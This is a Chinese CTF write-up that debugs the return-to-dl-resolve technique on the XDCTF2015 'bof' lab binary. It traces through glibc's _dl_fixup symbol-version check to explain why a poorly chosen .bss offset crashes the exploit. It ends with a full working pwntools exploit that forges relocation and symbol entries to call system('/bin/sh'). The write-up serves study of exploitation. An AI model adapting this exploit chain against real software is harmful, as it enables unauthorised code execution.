Ret2dl?What? 直接贴链接,不再赘述 http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
复现环境
Problem 首先,我按照 http://pwn4.fun/2016/11/09/Return-to-dl-resolve/ 中的payload进行了调试,自行调整,一直到stage 4,大体都是ok的,原理也比较清晰易懂,修改的地方也不是很多
但是,在stage 4时,却一直无法成功,于是我先仔细研究了payload,发现和作者步骤过程基本一致,与ctf-wiki上也是大差不差,但是却一直报非法内存地址访问。
嘛,那就gdb大法呗~
确定报错位置 首先先确定了报错位置
可以看到,此时的edx所指向的内存地址是无法访问的,故而在0xf7fd6fed <_dl_fixup+125> mov ebx, DWORD PTR [edx+0x4]
尝试取值的过程中,程序崩溃退出
那么为何在payload几乎相同的情况下,却会发生这种问题呢,带着疑惑,继续向下看
查看源代码 其实一开始我是以为我哪里写错了,所以浪费了一些时间去校对代码,但是无果
于是只能用最直接的方法,看看glibc的实现,找到为何会出现这个问题
报错部分的源代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 DL_FIXUP_VALUE_TYPE attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE _dl_fixup ( # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif struct link_map *l, ElfW(Word) reloc_arg) { const ElfW (Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); const ElfW (Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; const ElfW (Sym) *refsym = sym; void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value; assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0 ) == 0 ) { const struct r_found_version *version = NULL ; if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL ) { const ElfW (Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff ; version = &l->l_versions[ndx]; if (version->hash == 0 ) version = NULL ; }
通过比对汇编与源代码,我找到了报错语句为if (version->hash == 0)
,也就是说在尝试获取version
结构体中的hash
成员值时出错了
那这个version
又是什么?
这里要感谢这位师傅的分析,给了我一点启示 https://forum.90sec.com/t/topic/260
总的来说,原理大概可以概括为,在_dl_fixup
中,需要校验符号的版本(version),而这个version
值是这样取的
1 2 ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff ; version = &l->l_versions[ndx];
可以看到,ndx作为l_versions
成员的下标,其取值与sym
的取值十分相似
1 const ElfW (Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
其中symtab
就是.dynsym
节的起始地址,而其中的reloc->r_info
则是我们所控制的值,此值被同时用于version
以及sym
的取值
所以也就是说,在我们满足了劫持sym
至我们伪造的sym
结构体上的同时,我们也必须兼顾version
的取值,如果我们所伪造的reloc->r_info
值不恰当,那么就可能导致version
取值出现错误
而这个reloc->r_info
值实际上与我们在exp中向.bss
节上写入payload的时候选择的初始偏移有关,故而包括ctf-wiki以及很多网上的payload中所谓的“向bss+0x800
偏移处写入payload是为了防止_dl_fixup
会引用位置较低的地方”这个解释是不完全正确的,实际上需要在.bss
节上加一段偏移主要还是为了保证reloc->r_info
能在一个合理的区间之内,使得sym
以及version
都能被正确的取值
而我们所希望的,就是使得version
能够取值到null
(具体可以详细看上面师傅的文章),为了达到这一点,我们就需要使得ndx
的值尽可能为0(因为l->l_versions[0]
一般为null
)
详解 那么,我就来详细分析一下步骤,以及如何尽可能保证ndx
的值能够取到0
首先,在向.bss
节上写入payload的时候选择的初始偏移越大,意味着我们所伪造的sym
结构体相对于.dynsym
节的起始位置的偏移距离也会越大
这一偏移距离与我们所伪造的reloc->r_info
值息息相关
而reloc->r_info
值则关系到了ndx
的值
有关ndx
取值代码如下
1 ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff ;
对应的汇编代码如下,其中esi
的值0x269
是我们伪造的reloc->r_info
的值,edx
是.gnu.version
的起始地址,并且此时选择的.bss
的初始偏移距离为0x800
1 2 3 4 5 $edx : 0x080482d8 $esi : 0x269 ...... 0xf7f45fda <_dl_fixup+106> movzx edx, WORD PTR [edx+esi*2] 0xf7f45fde <_dl_fixup+110> and edx, 0x7fff
当上面的代码执行完成后,edx
的值如下
此时edx
的值实际上就是ndx
的值
当前edx+esi*2
的值为0x80487aa
,其指向的内存空间布局如下,可以看到0x80487aa
处双字节数据即0x300e
1 2 3 4 5 6 7 8 9 10 11 12 13 8048714 00000000 20000000 68000000 d6fdffff .... ...h....... 8048724 46000000 00410e08 8502420d 05448303 F....A....B..D.. 8048734 7ec5c30c 04040000 38000000 8c000000 ~.......8....... 8048744 f8fdffff a7000000 00440c01 00471005 .........D...G.. 8048754 02750045 0f037574 06100702 757c1003 .u.E..ut....u|.. 8048764 02757802 90c10c01 0041c341 c741c543 .ux......A.A.A.C 8048774 0c040400 48000000 c8000000 70feffff ....H.......p... 8048784 5d000000 00410e08 8502410e 0c870341 ]....A....A....A 8048794 0e108604 410e1483 054e0e20 690e2441 ....A....N. i.$A 80487a4 0e28440e 2c440e30 4d0e2047 0e1441c3 .(D.,D.0M. G..A. 80487b4 0e1041c6 0e0c41c7 0e0841c5 0e040000 ..A...A...A..... 80487c4 10000000 14010000 84feffff 02000000 ................ 80487d4 00000000 00000000
此时程序的整体内存空间布局如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [ Legend: Code | Heap | Stack ] Start End Offset Perm Path 0x08048000 0x08049000 0x00000000 r-x /home/ph4ntom/binary/linux/stackoverflow/ret2dlresolve/bof 0x08049000 0x0804a000 0x00000000 r-- /home/ph4ntom/binary/linux/stackoverflow/ret2dlresolve/bof 0x0804a000 0x0804b000 0x00001000 rw- /home/ph4ntom/binary/linux/stackoverflow/ret2dlresolve/bof 0xf7d92000 0xf7f67000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.27.so 0xf7f67000 0xf7f68000 0x001d5000 --- /lib/i386-linux-gnu/libc-2.27.so 0xf7f68000 0xf7f6a000 0x001d5000 r-- /lib/i386-linux-gnu/libc-2.27.so 0xf7f6a000 0xf7f6b000 0x001d7000 rw- /lib/i386-linux-gnu/libc-2.27.so 0xf7f6b000 0xf7f6e000 0x00000000 rw- 0xf7f87000 0xf7f89000 0x00000000 rw- 0xf7f89000 0xf7f8c000 0x00000000 r-- [vvar] 0xf7f8c000 0xf7f8d000 0x00000000 r-x [vdso] 0xf7f8d000 0xf7fb3000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.27.so 0xf7fb3000 0xf7fb4000 0x00025000 r-- /lib/i386-linux-gnu/ld-2.27.so 0xf7fb4000 0xf7fb5000 0x00026000 rw- /lib/i386-linux-gnu/ld-2.27.so 0xffa55000 0xffa76000 0x00000000 rw- [stack]
可以看到0x80487aa
落在了下面这页上
1 0x08048000 0x08049000 0x00000000 r-x /home/ph4ntom/binary/linux/stackoverflow/ret2dlresolve/bof
而我们都知道,内存页未被使用的空间均被0
填充
故而我们可以从上面得到一个信息,从0x80487db
-0x08049000
这一段区间内,都被0所填充
那么如果我们可以控制edx+esi*2
的值落在这一区间,我们就可以保证ndx
的值为0,从而使得version
为null
而现在我们的ndx并不是0
,所以我们先保留上述观点,继续看下去
接着执行如下代码
1 version = &l->l_versions[ndx];
对应的汇编代码如下
1 2 3 4 5 6 $eax : 0xf7f5e940 → 0x00000000 $edx : 0x300e0 ...... 0xf7f45fe4 <_dl_fixup+116> shl edx, 0x4 0xf7f45fe7 <_dl_fixup+119> add edx, DWORD PTR [eax+0x170] 0xf7f45fed <_dl_fixup+125> mov ebx, DWORD PTR [edx+0x4]
当前eax+0x170
中保存的地址是这样的
1 2 gef➤ x/wx $eax+0x170 0xf7fb4ab0: 0xf7f873f0
第二句汇编执行完成后,edx
的值如下
此时内存布局是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [ Legend: Code | Heap | Stack ] Start End Offset Perm Path 0x08048000 0x08049000 0x00000000 r-x /home/ph4ntom/binary/linux/stackoverflow/ret2dlresolve/bof 0x08049000 0x0804a000 0x00000000 r-- /home/ph4ntom/binary/linux/stackoverflow/ret2dlresolve/bof 0x0804a000 0x0804b000 0x00001000 rw- /home/ph4ntom/binary/linux/stackoverflow/ret2dlresolve/bof 0xf7d92000 0xf7f67000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.27.so 0xf7f67000 0xf7f68000 0x001d5000 --- /lib/i386-linux-gnu/libc-2.27.so 0xf7f68000 0xf7f6a000 0x001d5000 r-- /lib/i386-linux-gnu/libc-2.27.so 0xf7f6a000 0xf7f6b000 0x001d7000 rw- /lib/i386-linux-gnu/libc-2.27.so 0xf7f6b000 0xf7f6e000 0x00000000 rw- 0xf7f87000 0xf7f89000 0x00000000 rw- 0xf7f89000 0xf7f8c000 0x00000000 r-- [vvar] 0xf7f8c000 0xf7f8d000 0x00000000 r-x [vdso] 0xf7f8d000 0xf7fb3000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.27.so 0xf7fb3000 0xf7fb4000 0x00025000 r-- /lib/i386-linux-gnu/ld-2.27.so 0xf7fb4000 0xf7fb5000 0x00026000 rw- /lib/i386-linux-gnu/ld-2.27.so 0xffa55000 0xffa76000 0x00000000 rw- [stack]
可以看到此时edx
的值已经处在了无法访问的内存区域,故而当执行到第三句汇编时,程序就会崩溃
综上所述,我们可以知道,我们选择的.bss
节的初始偏移的大小应当严格控制,必须使偏移的大小能够让如下语句中的edx+esi*2
落在规定的区间内,否则就会导致错误(当然,如果没有落在规定区间内,也有几率成功,因为基于上面edx+esi*2
所指向的部分内存空间,我们可以看到存在一些双字节数据为0x0000
,当edx+esi*2
指向的数据为这些特殊位置时,也可以成功)
1 0xf7f45fda <_dl_fixup+106> movzx edx, WORD PTR [edx+esi*2]
我们也可以通过计算,得出.bss
至少应当被抬高的偏移值
由于edx+esi*2
与.gnu.version
节的起始地址之间最小的距离应当为0x80487db-0x80482d8=0x503
所以此时esi
应当为0x503/0x2=0x282
(向上取整)
也就是说,我们伪造的reloc->r_info
最小值应当为0x282
反推最小抬高距离(在我的payload情况下),0x80481cc
+0x10
*0x282
-0x804a000
-0x50
=0x99c
其中0x80481cc
为.dynsym
节的起始地址,0x804a000
为.bss
节的起始地址,0x50
为已构造的payload的长度
附上我的最终payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *elf = ELF('bof' ) r = process('./bof' ) rop = ROP('./bof' ) offset = 112 bss_addr = elf.bss() readplt = elf.plt['read' ] writeplt = elf.plt['write' ] r.recvuntil('Welcome to XDCTF2015~!\n' ) stack_size = 0x99c base_stage = bss_addr + stack_size payload = '' payload += 'a' * offset payload += p32(readplt) payload += p32(0x08048649 ) payload += p32(0 ) payload += p32(base_stage) payload += p32(100 ) payload += p32(0x0804864b ) payload += p32(base_stage) payload += p32(0x08048465 ) r.sendline(payload) sh = "/bin/sh" plt0 = elf.get_section_by_name('.plt' ).header.sh_addr rel_plt = elf.get_section_by_name('.rel.plt' ).header.sh_addr dynsym = elf.get_section_by_name('.dynsym' ).header.sh_addr dynstr = elf.get_section_by_name('.dynstr' ).header.sh_addr fake_index = base_stage + 20 - rel_plt write_got = elf.got['write' ] fake_sym_addr = base_stage + 28 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf ) fake_sym_addr = fake_sym_addr+align fake_sym_offset = (fake_sym_addr - dynsym)/0x10 r_info = (fake_sym_offset << 8 ) | 0x7 fake_func_str_addr = fake_sym_addr+0x10 -dynstr fake_write_sym = p32(fake_func_str_addr)+p32(0 )+p32(0 )+p32(0x12 ) payload = '' payload += p32(0xdeadbeef ) payload += p32(plt0) payload += p32(fake_index) payload += p32(0xdeadbeef ) payload += p32(base_stage+80 ) payload += p32(write_got) payload += p32(r_info) payload += 'a' *align payload += p32(fake_func_str_addr) payload += p32(0 ) payload += p32(0 ) payload += p32(0x12 ) payload += "system\x00" payload += 'a' * (80 -len (payload)) payload += sh +'\x00' payload += 'a' * (100 - len (payload)) r.sendline(payload) r.interactive()
运行结果